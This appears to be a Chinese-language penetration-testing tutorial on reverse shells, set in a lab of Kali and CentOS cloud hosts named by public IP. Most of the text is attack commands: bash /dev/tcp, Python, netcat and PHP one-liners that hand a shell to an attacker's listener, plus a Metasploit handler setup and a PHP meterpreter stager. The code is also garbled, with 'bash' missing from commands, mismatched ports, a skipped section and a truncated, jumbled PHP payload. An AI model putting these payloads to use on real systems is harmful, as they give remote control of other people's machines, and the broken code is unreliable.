在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
我们先来讲一下什么是正向连接和反向连接。
正向连接:我们本机去连接目标机器,比如ssh和mstsc 反向连接:目标机器去连接我们本机 那么为什么反向连接会比较常用呢
目标机器处在局域网内,我们正向连不上他 目标机器是动态ip 目标机器存在防火墙 然后说一下我的实验环境
攻击机:Kali Linux :47.98.229.211
受害机:Centos 7 :149.129.68.117
(阿里云服务器)
姿势一
也是最常见的一种方式
Kali监听
代码语言:javascript复制nc -lvvp 4444
centos运行
代码语言:javascript复制 -i >& /dev/tcp/47.98.229.211/5555 0>&1
执行命令后,成功得到反弹!
姿势二 python
攻击机Kali还是监听
代码语言:javascript复制nc -lvvp 5555
centos执行
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/ ","-i"]);'
攻击机监听
代码语言:javascript复制nc -lvvp 5555
目标机器执行
代码语言:javascript复制nc 47.98.229.211 5555 -t -e /bin/
这样会把目标机的/bin/ 反弹给攻击机
但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式
姿势四 php 攻击机监听
代码语言:javascript复制nc -lvvp 4444
要求目标机器有php然后执行
代码语言:javascript复制php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
其他的一些高能操作
关于PHP的payload
现在msfconsole中进行简单的配置
代码语言:javascript复制msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
PHP
代码语言:javascript复制<?
php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
>